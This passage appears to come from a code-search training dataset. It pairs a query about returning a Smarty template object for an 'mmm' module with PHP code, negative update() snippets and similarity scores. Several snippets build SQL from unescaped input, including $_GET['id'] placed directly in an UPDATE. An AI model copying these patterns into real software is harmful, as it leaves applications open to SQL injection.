$this->psd_lodge_id, $this->psd_lodge_no, $this->psd_lodge_phone, $this->psd_addcur_no, $this->psd_addcur_pv_id, $this->psd_addcur_amph_id, $this->psd_addcur_dist_id, $this->psd_addcur_zipcode, $this->psd_addhome_no, $this->psd_addhome_pv_id, $this->psd_addhome_amph_id, $this->psd_addhome_dist_id, $this->psd_addhome_zipcode, $this->psd_ps_id));\t\n\t}", "public function update()\n\t{\n\n\t}", "public function testUpdateSurvey0()\n {\n }", "public function testUpdateSurvey0()\n {\n }", "public function update(){\n\t\techo $sql = \"update \".self::$tablename.\" set title=\\\"$this->title\\\",description=\\\"$this->description\\\",skills=\\\"$this->skills\\\",area_id=$this->area_id,jobtype_id=$this->jobtype_id,jobperiod_id=$this->jobperiod_id,duration=$this->duration,is_public=$this->is_public,is_finished=$this->is_finished,created_at=$this->created_at where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "public function update()\n\t{\n\t\t$this->user->db_update();\n\t}", "public function update() {\n $mysqli = Database::getMYSQLI();\n \n $stmt = $mysqli->prepare(\"\n UPDATE reviews\n SET persons_id = ?, lessons_id = ?, title = ?, review = ?, date_submitted = ?, \n rating = ?\n WHERE id = ?\");\n \n $stmt->bind_param('iisssii', $this->personsID, $this->lessonsID, $this->title, \n $this->review, $this->dateSubmitted, $this->rating, $this->id);\n\n $stmt->execute();\n $stmt->close();\n $mysqli->close();\n }", "function saveInfo(){\n mysql_query(\"UPDATE school_payments SET schoolId='$this->schoolId' WHERE id='$this->paymentId'\") or die(mysql_error());\n mysql_query(\"UPDATE school_payments SET amount='$this->amount' WHERE id='$this->paymentId'\") or die(mysql_error());\n mysql_query(\"UPDATE school_payments SET started='$this->started' WHERE id='$this->paymentId'\") or die(mysql_error());\n mysql_query(\"UPDATE school_payments SET completed='$this->completed' WHERE id='$this->paymentId'\") or die(mysql_error());\n mysql_query(\"UPDATE school_payments SET finaid='$this->finaid' WHERE id='$this->paymentId'\") or die(mysql_error());\n }", "public function update() {\n $this->connect();\n\n mysqli_multi_query($this->con, $this->sql);\n $this->sql = \"\";\n mysqli_close($this->con);\n $this->getStories();\n }", "private function _update() {\n\n $this->db->replace(XCMS_Tables::TABLE_USERS, $this->getArray());\n $this->attributes->save();\n\n }", "public function update(Request $request, Spk $spk)\n {\n //\n Spk::find($request->id)->update([\n 'spk_date' => Carbon::parse($request->input('spk_date'))->format('Y-m-d H:i:s'),\n 'spk_price' => $request->input('spk_price'),\n 'spk_sp_id' => $request->input('spk_sp_id'),\n 'active' => $request->input('active') == null ? 'Not Active' : 'Active' \n ]);\n return redirect('transaction/spk')->with('success', 'Successful update new SPK');\n }", "function update() {\n\t\t$vars = $this->params['url'];\n\t\t$this->Event->id = $vars['id'];\n\t\t$this->Event->saveField('start', $vars['start']);\n\t\t$this->Event->saveField('end', $vars['end']);\n\t\t$this->Event->saveField('all_day', $vars['allday']);\n\t}", "public function update()\n {\n //\n $p = InterestPoint\n ::all();\n\n return InterestPointResource::collection($p);\n }", "public function update()\n\t{\n\t\t$crud = $this->crud->find($_POST['id']);\n\t\t$curd->data([\n\t\t\t'first_name' => $_POST['first_name'],\n\t\t\t'last_name' => $_POST['last_name'],\n\t\t]);\n\t\t$crud->update();\n\t\t$this->redirect('crud');\n\t}", "public function testUpdateMember()\n {\n }", "public function update(Tinebase_Record_Interface $_record) {\n }", "function update_insurance($data)\n\t{\n\t\tglobal $db, $cid, $ins_id;\n\n\t\t// Now we update this row\n\t\t$sql = \"UPDATE \". GARAGE_INSURANCE_TABLE .\"\n\t\t\tSET business_id = '\".$data['business_id'].\"', premium = '\".$data['premium'].\"', cover_type = '\".$data['cover_type'].\"', comments = '\".$data['comments'].\"' \n\t\t\tWHERE id = '$ins_id' and garage_id = '$cid'\";\n\n\t\tif(!$result = $db->sql_query($sql))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'Could Not Update Insurance Premium', '', __LINE__, __FILE__, $sql);\n\t\t}\n\n\t\treturn;\n\t}", "public function change()\n {\n $sellersTable = TableRegistry::get('Sellers');\n $sellerDataTable = TableRegistry::get('ProductSellerData');\n $sellers = $sellersTable->find()->toArray();\n foreach($sellers as $seller){\n\n $sellerData = $sellerDataTable->find()->where(['seller_id'=>$seller['id']])->order(['updated_on'=>'DESC'])->first();\n\n $query = $sellersTable->query();\n $query->update()\n ->set(['rating' => $sellerData->rating,'rating_count' => $sellerData->rating_count])\n ->where(['id' => $seller['id']])\n ->execute();\n }\n\n }", "public function updateRoundRobin() {\n\t\t$admin = &Yii::app()->params->admin;\n\t\t$admin->srrId = $admin->srrId + 1;\n\t\t$admin->save();\n\t}", "public function touch()\n {\n $key = $this->getRelated ()->getKeyName ();\n $columns = $this->getRelatedFreshUpdate ();\n $ids = $this->getRelatedIds ();\n if ( count ( $ids ) > 0 ) {\n $this->getRelated ()->newQuery ()->whereIn ( $key, $ids )->update ( $columns );\n }\n }", "function save(){\n\t\tif (isset($this->id) && !$this->_new) {\n\t\t\t$sql = \"UPDATE `layer_points` set \";\n\t\t\t$i = 0;\n\t\t\tforeach($this->UPDATE as $u){\n\t\t\t\tif ($i>0) $sql = $sql.\" , \";\n\t\t\t\t$sql = $sql.$u;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$sql = $sql.\" WHERE `id`='\".addslashes($this->id).\"'\";\n\t\t}else{\n\t\t\t$sql = \"INSERT into `layer_points` values('\".addslashes($this->id).\"' , '\".addslashes($this->lid).\"' , '\".addslashes($this->name).\"' , '\".addslashes($this->lat).\"' , '\".addslashes($this->lon).\"' , '\".addslashes($this->alt).\"' , '\".addslashes($this->bf).\"' , '\".addslashes($this->lp_image).\"' , '\".addslashes($this->notes).\"')\";\n\t\t}\n\t\t$this->connection->send_query($sql);\n\t}", "public function testUpdateStore()\n {\n\n }", "public function updateSesi() {\n $this->authorize('admin-itd');\n\n $round_detail = Round::find(1);\n $minute = 1;\n\n // [RICKY] Update round\n $end_time = Carbon::now()->addMinutes($minute);\n $update_round = DB::table('rounds')->where('id', 1)->update(['action'=> true, 'time_end'=> $end_time]);\n\n // [RICKY] Pusher broadcast\n event(new UpdateRound($round_detail->round, true, $minute, null));\n return [\"success\" => true];\n }", "function update_record () {\n\t\t\n\t\t// validate input\n $valid = true;\n if (empty($this->name)) {\n $this->nameError = 'Please enter Name';\n $valid = false;\n }\n\n if (empty($this->email)) {\n $this->emailError = 'Please enter Email Address';\n $valid = false;\n } \n\n\n if (empty($this->mobile)) {\n $this->mobileError = 'Please enter Mobile Number';\n $valid = false;\n }\n\n // update data\n if ($valid) {\n $pdo = Database::connect();\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $sql = \"UPDATE customers SET name = ?, email = ?, mobile = ? WHERE id=\".$_GET['id'];\n $q = $pdo->prepare($sql);\n $q->execute(array($this->name,$this->email,$this->mobile));\n Database::disconnect();\n header(\"Location: customer.php\");\n }\n else {\n $this->update();\n }\n\t\n\t}", "public function updating()\n {\n # code...\n }", "public function updateDue($sid){\n $sql = 'SELECT due FROM student WHERE sid = :id';\n $query = $this->db->pdo->prepare($sql);\n $query->bindValue(':id',$sid);\n $query->execute();\n $result = $query->fetch(PDO::FETCH_OBJ);\n Session::set(\"due\",$result->due);\n }", "public function update() {\n \n }", "function bookking_update_instance($data, $mform) {\n global $DB;\n\n $data->timemodified = time();\n $data->id = $data->instance;\n\n $data->scale = $data->grade;\n\n $DB->update_record('bookking', $data);\n\n $context = context_module::instance($data->coursemodule);\n $mform->save_mod_data($data, $context);\n\n // Update grade item and grades.\n bookking_update_grades($data);\n\n return true;\n}", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }" ]
[ "0.63101494", "0.6292979", "0.6247507", "0.618097", "0.6126672", "0.61176276", "0.60786355", "0.607109", "0.6051283", "0.60393834", "0.60336477", "0.59947497", "0.59947497", "0.5969813", "0.59694123", "0.59678423", "0.5932604", "0.59278655", "0.59210503", "0.5894399", "0.5892642", "0.5851993", "0.5842729", "0.5826514", "0.5803183", "0.57982546", "0.5785615", "0.5779474", "0.5763204", "0.5762774", "0.57613057", "0.5752275", "0.5751319", "0.57478565", "0.5744981", "0.5742973", "0.57290256", "0.5719844", "0.5710092", "0.5708511", "0.5695972", "0.56945175", "0.5692867", "0.568021", "0.5675723", "0.5668721", "0.5668721", "0.5668721", "0.5668721", "0.56632096", "0.56595594", "0.56521314", "0.5649307", "0.5649307", "0.5649061", "0.5644898", "0.56297284", "0.5629082", "0.5625727", "0.561276", "0.561276", "0.56125784", "0.56074136", "0.5604897", "0.5598925", "0.5598925", "0.55957127", "0.5595566", "0.55917823", "0.5590641", "0.558989", "0.55869406", "0.55851185", "0.55741286", "0.5571728", "0.5569735", "0.5567895", "0.55527395", "0.5549198", "0.55428743", "0.5540545", "0.553614", "0.5535786", "0.5529633", "0.55282897", "0.55264807", "0.5526372", "0.5524265", "0.55241114", "0.55191386", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595", "0.5512595" ]
0.6616405
0
/ This function will return the smarty object for mmm module.
public static function createSmartyObject() { $appModuleArr["app"] = MmmUtility::mmmAppName; $appModuleArr["module"] = MmmUtility::mmmModuleName; $appModuleArr["useUploads"] = 1; $smarty = JsCommon::getSmartySettings('appModule',$appModuleArr); return $smarty; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSmarty()\n {\n $this->registerFilters();\n $this->registerPlugins();\n $this->smarty->assign($this->getGlobals());\n\n return $this->smarty;\n }", "static public function getSmarty()\n\t{\n\t\t$smarty = new Smarty();\n\n\t\t$smarty->template_dir = LOCAL_DOCUMENT_ROOT.\"/view/\";\n\t\t$smarty->compile_dir = LOCAL_DOCUMENT_ROOT.\"/view_c/\";\n\t\t//$smarty->config_dir = '/web/www.example.com/guestbook/configs/';\n\t\treturn $smarty;\n\t}", "public function loadSmarty()\r\n {\r\n // Load the Smarty machine\r\n require_once APPLICATION_PATH . '/../library/Smarty/Smarty.class.php';\r\n $smarty = new Smarty();\r\n\r\n $smarty->template_dir = APPLICATION_PATH . '/views/templates';\r\n $smarty->compile_dir = APPLICATION_PATH . '/views/templates_c';\r\n $smarty->cache_dir = APPLICATION_PATH . '/views/cache';\r\n $smarty->config_dir = APPLICATION_PATH . '/views/configs';\r\n\r\n return $smarty;\r\n }", "protected function _smarty()\n\t{\n\t\tif (! $this->_smarty instanceof Smarty ) {\n\t\t\t// build me a smarty object fool\n\t\t\t$this->_smarty = new Smarty();\n\t\t\t\n\t\t\t// Set the predefined parameters\n\t\t\t$this->setParams($this->_smartyParams);\n\t\t\t\n\t\t\t// Set the predefined methods\n\t\t\t$this->_callSmartyMethods();\n\t\t\tunset($this->_smartyParams, $this->_smartyMethods);\n\t\t\t// Set the smarty as a property\n\t\t\t// $this->_smarty = $smarty;\n\t\t}\n\t\t\n\t\treturn $this->_smarty;\n\t}", "function getSmartyTemplate() {\n\t\t\n\t\t/* Call in Smarty to display template */\n\t\tbfLoad ( 'bfSmarty' );\n\t\t\n\t\t/* @var $tmp bfSmarty */\n\t\t$tmp = bfSmarty::getInstance ( 'com_form' );\n\t\t$tmp->_setTemplatePath ( dirname ( __FILE__ ) . DS . strtolower ( $this->_FORM_CONFIG ['layout'] ) );\n\t\t\n\t\t/* set the head data into the Joomla JDocument or J1.0.x equivilent */\n\t\t$this->_setHeadData ();\n\t\t\n\t\t/* set form title H1 */\n\t\tif ($this->_FORM_CONFIG ['page_title'])\n\t\t\t$tmp->assign ( 'PAGE_TITLE', $this->_FORM_CONFIG ['page_title'] );\n\t\t\t\n\t\t/* get the Form tag and add to template as {FORM_OPENTAG}*/\n\t\t$tmp->assign ( 'FORM_OPEN_TAG', $this->onGetFormHead () );\n\t\t$tmp->assign ( 'FORM_CLOSE_TAG', $this->onGetFormFooter () );\n\t\t$tmp->assign ( 'FORM_ID', $this->_FORM_CONFIG ['id'] );\n\t\t\n\t\t/* failed validation */\n\t\tif (@defined ( '_BF_FAILED_VALIDATION' )) {\n\t\t\t$tmp->assign ( 'FAIL_VALIDATION', true );\n\t\t\t$messages = unserialize ( _BF_FAILED_VALIDATION_MESSAGES );\n\t\t\t$tmp->assign ( 'fail_messages', $messages );\n\t\t\n\t\t}\n\t\t\n\t\tif (isset ( $this->_FORM_CONFIG ['onlyssl'] ) && $this->_FORM_CONFIG ['onlyssl'] == 1) {\n\t\t\t$tmp->assign ( 'SECURE_FORM', '1' );\n\t\t}\n\t\treturn $tmp;\n\t}", "public function getEngine()\r\n {\r\n return $this->_smarty;\r\n }", "public function getEngine()\n {\n return $this->_smarty;\n }", "public function getEngine()\n {\n return $this->smarty;\n }", "public function getEngine()\n {\n return $this->_smarty();\n }", "private function initSmarty() {\n \n require_once (Quantum::QUANTUM_ROOT.'system/lib/smarty/Smarty.class.php');\n \n $smarty = new Smarty();\n $smarty ->template_dir = Quantum::QUANTUM_ROOT.\"system/views\";\n $smarty->compile_dir = Quantum::QUANTUM_ROOT.\"system/tmp\";\n $smarty->allow_php_tag = true;\n $smarty->plugins_dir[] = Quantum::QUANTUM_ROOT.'system/plugins';\n \n Quantum\\Output::init($smarty);\n }", "function __construct(){\r\n $this->tpml_control = new \\Smarty();\r\n }", "private function loadSmarty()\n {\n }", "private function _loadSmarty()\r\n {\r\n if (!class_exists('Smarty', true)) {\r\n require_once 'Smarty/Smarty.class.php';\r\n }\r\n\r\n $this->_smarty = new Smarty();\r\n\r\n if ($this->_config === null) {\r\n throw new Zend_View_Exception(\r\n \"Could not locate Smarty config\"\r\n );\r\n }\r\n\r\n $this->_smarty->caching\r\n = $this->_config['caching'];\r\n $this->_smarty->cache_lifetime\r\n = $this->_config['cache_lifetime'];\r\n $this->_smarty->template_dir\r\n = $this->_config['template_dir'];\r\n $this->_smarty->compile_dir\r\n = $this->_config['compile_dir'];\r\n $this->_smarty->config_dir\r\n = $this->_config['config_dir'];\r\n $this->_smarty->cache_dir\r\n = $this->_config['cache_dir'];\r\n $this->_smarty->left_delimiter\r\n = $this->_config['left_delimiter'];\r\n $this->_smarty->right_delimiter\r\n = $this->_config['right_delimiter'];\r\n $this->assign('this', $this);\r\n }", "public function getModuleTemplate() {}", "public function getModuleTemplate() {}", "protected static function createSmarty()\n\t{\n\t\tstatic::$smarty = new \\Smarty();\n\n\t\t// Set folder paths templates\n\t\tstatic::$smarty->setCompileDir(PATH_COMPILE);\n\n\t\t// Set folder path caches\n\t\tstatic::$smarty->setCacheDir(PATH_CACHE);\n\n\t\t// Make the compilation when a change is made in the debug mode\n\t\tstatic::$smarty->setCompileCheck(DEBUG);\n\n\t\t// Configure global variables\n\t\tstatic::$smarty->assign('root', Server::getBaseUrl());\n\n\t\t// Register special function for Smarty\n\t\tstatic::$smarty->registerClass(\"Login\", \"User\\\\Login\");\n\t\tstatic::$smarty->registerPlugin(\"function\", \"plural\", array('Template\\TemplatePlugin', 'pluginPlural'));\n\t\tstatic::$smarty->registerPlugin(\"modifier\", \"security\", array('Template\\TemplatePlugin', 'pluginSecurity'));\n\t\tstatic::$smarty->registerPlugin(\"modifier\", \"number\", array('Template\\TemplatePlugin', 'pluginFormatNumber'));\n\t\tstatic::$smarty->registerPlugin(\"function\", \"date\", array('Template\\TemplatePlugin', 'pluginDate'));\n\t\tstatic::$smarty->registerPlugin(\"function\", \"conditional\", array('Template\\TemplatePlugin', 'pluginConditional'));\n\t\tstatic::$smarty->registerPlugin(\"function\", \"link\", array('Template\\TemplatePlugin', 'pluginLink'));\n\t\tstatic::$smarty->registerPlugin(\"modifier\", \"time\", array('Template\\TemplatePlugin', 'pluginTime'));\n\t}", "function ju_module_m():MM {return ju_o(MM::class);}", "function createSmartyInstance($installDir, $tmpDir)\n{\n global $optionInfo;\n $smarty = new Smarty();\n\n /* Set each directory */\n $smarty->caching = Smarty::CACHING_OFF;\n $smarty->compile_check = false;\n $smarty->setTemplateDir(joinPathComponents($installDir, \"pg_stats_reporter_lib/template\"));\n $smarty->setCompileDir($tmpDir . \"/compiled\");\n\n /* Assign library path */\n $smarty->assign(\"jquery_path\", $optionInfo['resprefix'] . JQUERY_PATH);\n $smarty->assign(\"jquery_ui_path\", $optionInfo['resprefix'] . JQUERYUI_PATH);\n $smarty->assign(\"timepicker_path\", $optionInfo['resprefix'] . TIMEPICKER_PATH);\n $smarty->assign(\"tablesorter_path\", $optionInfo['resprefix'] . TABLESORTER_PATH);\n $smarty->assign(\"superfish_path\", $optionInfo['resprefix'] . SUPERFISH_PATH);\n $smarty->assign(\"jqplot_path\", $optionInfo['resprefix'] . JQPLOT_PATH);\n $smarty->assign(\"dygraphs_path\", $optionInfo['resprefix'] . DYGRAPHS_PATH);\n\n /* Assign pg_stats_reporter version */\n $smarty->assign(\"program_version\", PROGRAM_VERSION);\n\n return $smarty;\n}", "function smarty_std(){\n global $smarty;\n $smarty->assign('USER',$_SESSION['ldapab']['username']);\n}", "function startSmarty(&$pObj) {\n\t\t// Run Smarty's constructor\n\t\t$this->Smarty();\n\t\t// Register reference to the calling class\n\t\t$this->pObj = $pObj;\n\t\t// Register reference to tslib_cobj\n\t\t$this->cObj = &$GLOBALS['TSFE']->cObj;\n\t}", "function int()\n {\n// $smarty->setTemplateDir(TPL_PATH);\n// $smarty->setCompileDir(COMPILE_PATH);\n// $smarty->setCacheDir(CACHE_PATH);\n// $smarty->display(\"admin/admin.html\");\n //$this->smarty->display(\"admin/admin.html\");\n $smarty=new smarty();\n }", "public static function smarty_prototype()\r\n {\r\n // see if we need to set up the prototype smarty object\r\n if (self::$_smarty_prototype === NULL) {\r\n\r\n if (version_compare(Kohana::VERSION,'3.2','>=')) {\r\n $config = Kohana::$config->load('smarty');\r\n } else {\r\n $config = Kohana::config('smarty');\r\n }\r\n\r\n $smarty_class = Kohana::find_file('vendor', 'smarty/libs/Smarty.class');\r\n require_once($smarty_class);\r\n\r\n // save the location in case we have more than one Smarty version around\r\n self::$_smarty_path = realpath(dirname($smarty_class)) . DIRECTORY_SEPARATOR;\r\n\r\n // instantiate the prototype Smarty object\r\n $smarty = new Smarty;\r\n self::$_smarty_prototype = $smarty;\r\n\r\n // set up the prototype with options from config file\r\n foreach ($config->smarty_config as $key => $value) {\r\n $smarty->$key = $value;\r\n }\r\n\r\n // deal with config options that are not simple properties\r\n $smarty->php_handling = constant($config->php_handling);\r\n\r\n // add the path to the plugins for the located Smarty distro\r\n $smarty->addPluginsDir(self::$_smarty_path . 'plugins');\r\n // add views directories for all loaded modules (including Smarty3)\r\n $dirs = array();\r\n foreach (Kohana::modules() as $dir) {\r\n if (is_dir($dir.'/views'))\r\n {\r\n $dirs[] = \"{$dir}views\";\r\n }\r\n }\r\n $smarty->addTemplateDir($dirs);\r\n\r\n if ($config->check_dirs) {\r\n // check we can write to the compiled templates directory\r\n if (!is_writeable($smarty->getCompileDir())) {\r\n self::create_dir($smarty->getCompileDir(), 'Smarty compiled template');\r\n }\r\n\r\n // if smarty caching is enabled, check we can write to the cache directory\r\n if ($smarty->caching && !is_writeable($smarty->getCacheDir())) {\r\n self::create_dir($smarty->getCacheDir(), 'Smarty cache');\r\n }\r\n }\r\n\r\n // now assign useful globals\r\n $smarty->assignGlobal('base_url', URL::base());\r\n $smarty->assignGlobal('helper', new Smarty_Helper);\r\n\r\n // register any globals\r\n foreach (self::$_global_data as $key => $value) {\r\n if (isset($bound[$key])) {\r\n Smarty::$global_tpl_vars[$key] = new Smarty_variable();\r\n Smarty::$global_tpl_vars[$key]->value = &$value;\r\n } else {\r\n $smarty->assignGlobal($key, $value);\r\n }\r\n }\r\n }\r\n return self::$_smarty_prototype;\r\n }", "function pnRender($module = '', $caching = null)\n {\n // first, get a native Smarty object\n $this->Smarty();\n\n // Initialize the module property with the name of\n // the topmost module. Foor Hooks, Blocks, API Functions and others\n // you need to set this property to the name of the respective module!\n if (!$module) {\n $module = pnModGetName();\n }\n $this->module = $module;\n\n // begin holder tag (be nice to others)\n $this->left_delimiter = '<!--[';\n // end holder tag\n $this->right_delimiter = ']-->';\n\n //---- Plugins handling -----------------------------------------------\n // add the global PostNuke plugins directory\n\t\tif (is_dir('system/pnRender/plugins')) {\n\t array_push($this->plugins_dir, 'system/pnRender/plugins');\n\t\t} else if (is_dir('modules/pnRender/plugins')) {\n\t array_push($this->plugins_dir, 'modules/pnRender/plugins');\n\t\t}\n\n // add the global PostNuke plugins directory\n $modinfo = pnModGetInfo(pnModGetIDFromName('Xanthia'));\n $modpath = ($modinfo['type'] == 3) ? 'system' : 'modules';\n array_push($this->plugins_dir, \"$modpath/$modinfo[directory]/plugins\");\n\n// uncomment for .8 until modtype=3 for system modules is implemented\n array_push($this->plugins_dir, \"system/$modinfo[directory]/plugins\");\n\n // add module specific plugins directories, if they exist\n $theme = pnUserGetTheme();\n $themepath = \"themes/$theme/templates/modules/$module/plugins\";\n if (file_exists($themepath)) {\n array_push($this->plugins_dir, $themepath);\n }\n\n $modinfo = pnModGetInfo(pnModGetIDFromName($module));\n $modpath = ($modinfo['type'] == 3) ? 'system' : 'modules';\n $mod_plugs = \"$modpath/$modinfo[directory]/pntemplates/plugins\";\n // build the path to the config file for usemodules needed later\n $usemod_conf = \"$modpath/$modinfo[directory]/pntemplates/config/usemodules\";\n if (file_exists($mod_plugs)) {\n array_push($this->plugins_dir, $mod_plugs);\n }\n\n // add theme specific plugins directories, if they exist\n $themepath = \"themes/$theme/plugins\";\n if (file_exists($themepath)) {\n array_push($this->plugins_dir, $themepath);\n }\n\n// uncomment for .8 until modtype=3 for system modules is implemented\n $modpath = 'system';\n $mod_plugs = \"$modpath/$modinfo[directory]/pntemplates/plugins\";\n if (file_exists($mod_plugs)) {\n array_push($this->plugins_dir, $mod_plugs);\n }\n\n // load the config file\n if( file_exists($usemod_conf) && is_readable($usemod_conf)) {\n $additionalmodules = file($usemod_conf);\n if(is_array($additionalmodules)) {\n foreach($additionalmodules as $addmod) {\n $this->_add_plugins_dir(trim($addmod));\n }\n }\n }\n\n // check if the recent 'type' parameter in the URL is admin and if yes,\n // include (modules|system)/Admin/pntemplates/plugins to the plugins_dir array\n $type = pnVarCleanFromInput('type');\n if(!empty($type) && $type=='admin') {\n array_push($this->plugins_dir, \"modules/Admin/pntemplates/plugins\");\n array_push($this->plugins_dir, \"system/Admin/pntemplates/plugins\");\n }\n\n //---- Cache handling -------------------------------------------------\n // use HTML cache system?\n\t// V4B RNG: backport new pnRender params\n\tif (isset($caching) && is_bool($caching)) {\n $this->caching = $caching;\n } else {\n $this->caching = pnModGetVar('pnrender', 'cache');\n }\n $this->cache_lifetime = pnModGetVar('pnrender', 'lifetime');\n\n // HTML cache directory\n $this->cache_dir = pnConfigGetVar('temp') . '/pnRender_cache';\n\n //---- Compilation handling -------------------------------------------\n // check for updated templates?\n $this->compile_check = pnModGetVar('pnrender', 'compile_check');\n\n // force compile template always?\n $this->force_compile = pnModGetVar('pnrender', 'force_compile');\n\n // safe_mode?\n // This routine is taken from PostCalendar.\n\t\t// we don't need this code anymore due to change below\n //$safe_mode = ini_get('safe_mode');\n //$safe_mode_gid = ini_get('safe_mode_gid');\n //$open_basedir = ini_get('open_basedir');\n\n // don't use subdirectories when creating compiled/cached templates\n\t\t// this works better in a hosted environment\n $this->use_sub_dirs = false;\n //$this->use_sub_dirs = !((bool)$safe_mode ||\n\t // (bool)$safe_mode_gid ||\n // !empty($open_basedir));\n\n // cache directory (compiled templates)\n $this->compile_dir = pnConfigGetVar('temp') . '/pnRender_compiled';\n\n // compile id\n $this->compile_id = $this -> module . '|' . $theme . '|' . pnUserGetLang();\n\n // initialize the cache ID\n $this->cache_id = '';\n\n // expose templates\n $this->expose_template = (pnModGetVar('pnrender', 'expose_template') == true) ? true : false;\n\n if (pnModAvailable('Xanthia')){\n $this->userdb = 'userdb';\n }\n\n $this->register_block('nocache', 'pnRender_block_nocache', false);\n }", "function tpl_language()\n{\n global $smarty, $lang, $config;\n\n $smarty->assign('lang', $lang);\n $smarty->assign('config', $config);\n}", "public static function cms_module_plugin($params, &$smarty)\n\t{\n\t\t$gCms = cmsms();\n\t\t$cmsmodules = cmsms()->modules;\n\n\t\t$id = 'm' . ++$gCms->variables[\"modulenum\"];\n\n\t\t$returnid = '';\n\t\tif (isset($gCms->variables['pageinfo']) && isset($gCms->variables['pageinfo']->content_id))\n\t\t{\n\t\t\t$returnid = $gCms->variables['pageinfo']->content_id;\n\t\t}\n\t\t$params = array_merge($params, get_module_parameters($id));\n\n\t\t$modulename = '';\n\t\t$action = 'default';\n\t\t$inline = false;\n\n\t\t$checkid = '';\n\n\t\tif (isset($params['module'])) \n\t\t\t$modulename = $params['module'];\n\t\telse\n\t\t\treturn '<!-- ERROR: module name not specified -->';\n\n\t\tif (isset($params['idprefix'])) $id = trim($params['idprefix']);\n\t\tif (isset($params['action']) && $params['action'] != '')\n\t\t{\n\t\t\t// action was set in the module tag\n\t\t\t$action = $params['action'];\n\t\t}\n\n\t\tif (isset($_REQUEST['id'])) //Not really needed now...\n\t\t{\n\t\t\t$checkid = $_REQUEST['id'];\n\t\t}\n\t\telse if (isset($_REQUEST['mact']))\n\t\t{\n\t\t\t// we're handling an action\n\t\t\t$ary = explode(',', cms_htmlentities($_REQUEST['mact']), 4);\n\t\t\t$mactmodulename = (isset($ary[0])?$ary[0]:'');\n\t\t\tif (strtolower($mactmodulename) == strtolower($params['module']))\n\t\t\t{\n\t\t\t\t$checkid = (isset($ary[1])?$ary[1]:'');\n\t\t\t\t$mactaction = (isset($ary[2])?$ary[2]:'');\n\t\t\t}\n\t\t\t$mactinline = (isset($ary[3]) && $ary[3] == 1?true:false);\n\n\t\t\tif ($checkid == $id)\n\t\t\t{\n\t\t\t\t// the action is for this instance of the module\n\t\t\t\t$inline = $mactinline;\n\t\t\t\tif( $inline == true )\n\t\t\t\t{\n\t\t\t\t\t// and we're inline (the results are supposed to replace\n\t\t\t\t\t// the tag, not {content}\n\t\t\t\t\t$action = $mactaction;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif( $action == '' ) $action = 'default'; // probably not needed, but safe\n\n\t\tif (isset($cmsmodules))\n\t\t{\n\t\t\t$modulename = $params['module'];\n\n\t\t\tforeach ($cmsmodules as $key=>$value)\n\t\t\t{\n\t\t\t\tif (strtolower($modulename) == strtolower($key))\n\t\t\t\t{\n\t\t\t\t\t$modulename = $key;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (isset($modulename))\n\t\t\t{\n\t\t\t\tif (isset($cmsmodules[$modulename]))\n\t\t\t\t{\n\t\t\t\t\tif (isset($cmsmodules[$modulename]['object'])\n\t\t\t\t\t\t&& $cmsmodules[$modulename]['installed'] == true\n\t\t\t\t\t\t&& $cmsmodules[$modulename]['active'] == true\n\t\t\t\t\t\t&& $cmsmodules[$modulename]['object']->is_plugin_module())\n\t\t\t\t\t{\n\t\t\t\t\t\t@ob_start();\n\n\t\t\t\t\t\t$request = $cmsmodules[$modulename]['object']->create_request_instance($id, $returnid);\n\t\t\t\t\t\t$result = $request->do_action_base($action, $params);\n\t\t\t\t\t\tif ($result !== FALSE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo $result;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$modresult = @ob_get_contents();\n\t\t\t\t\t\t@ob_end_clean();\n\t\t\t\t\t\n\t\t\t\t\t\treturn $modresult;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treturn \"<!-- Not a tag module -->\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function smarty($resource_name, $params = array()) {\n\t\techo $this->load($resource_name, $params);\n\t}", "function smarty_block_form($params,$content,&$smarty,&$repeat){\n if(!$repeat){\n $title = isset($params['title']) ? $params['title'] : '';\n $button_text = isset($params['button_text']) ? $params['button_text'] : 'submit';\n $method = isset($params['method']) ? $params['method'] : 'POST';\n $template_vars = $smarty->getTemplateVars();\n $token = isset($template_vars['token']) ? $template_vars['token'] : '';\n $module_name = isset($template_vars['module_name']) ? $template_vars['module_name'] : '';\n $preform = \"\n <form class='defaultForm form-horizontal' method='{$method}'>\";\n if($token && $module_name){\n $preform .= \"<input type='hidden' name='controller' value='AdminModules'>\";\n $preform .= \"<input type='hidden' name='configure' value='{$module_name}'>\";\n $preform .= \"<input type='hidden' name='token' value='{$token}'>\";\n }\n $preform .= \"\n <div class='panel'>\n <div class='panel-heading'>{$title}</div>\n <div class='form-wrapper'>\n \";\n $postform = \"\n </div>\n <div class='panel-footer'>\n <button class='btn btn-default pull-right' type='submit'>\n <i class='process-icon-new'></i>{$button_text}\n </button>\n </div>\n </div>\n </form>\n\";\n return $preform . $content . $postform;\n }\n}", "protected function _getTmsModModel()\n\t{\n\t\treturn $this->getModelFromCache('TMS_Model_Modification');\n\t}", "public function __construct($module_name='core') {\n\t\tglobal $I2_FS_ROOT;\n\t\trequire_once('smarty/Smarty.class.php');\n\t\t$this->smarty = new Smarty;\n\t\t$this->smarty->left_delimiter = '[<';\n\t\t$this->smarty->right_delimiter = '>]';\n\t\t$this->smarty->setCompileDir(i2config_get('cache_dir', NULL, 'core') . 'smarty/');\n\t\t$this->smarty->addPluginsDir($I2_FS_ROOT . 'smarty');\n\t\t$this->smarty->setCacheDir($this->smarty->getCompileDir().'cache');\n\n\t\t// Caching off by default\n\t\t$this->smarty->caching = false;\n\n\t\t//TODO: turn this off for production code!\n\t\t$this->smarty->compile_check = 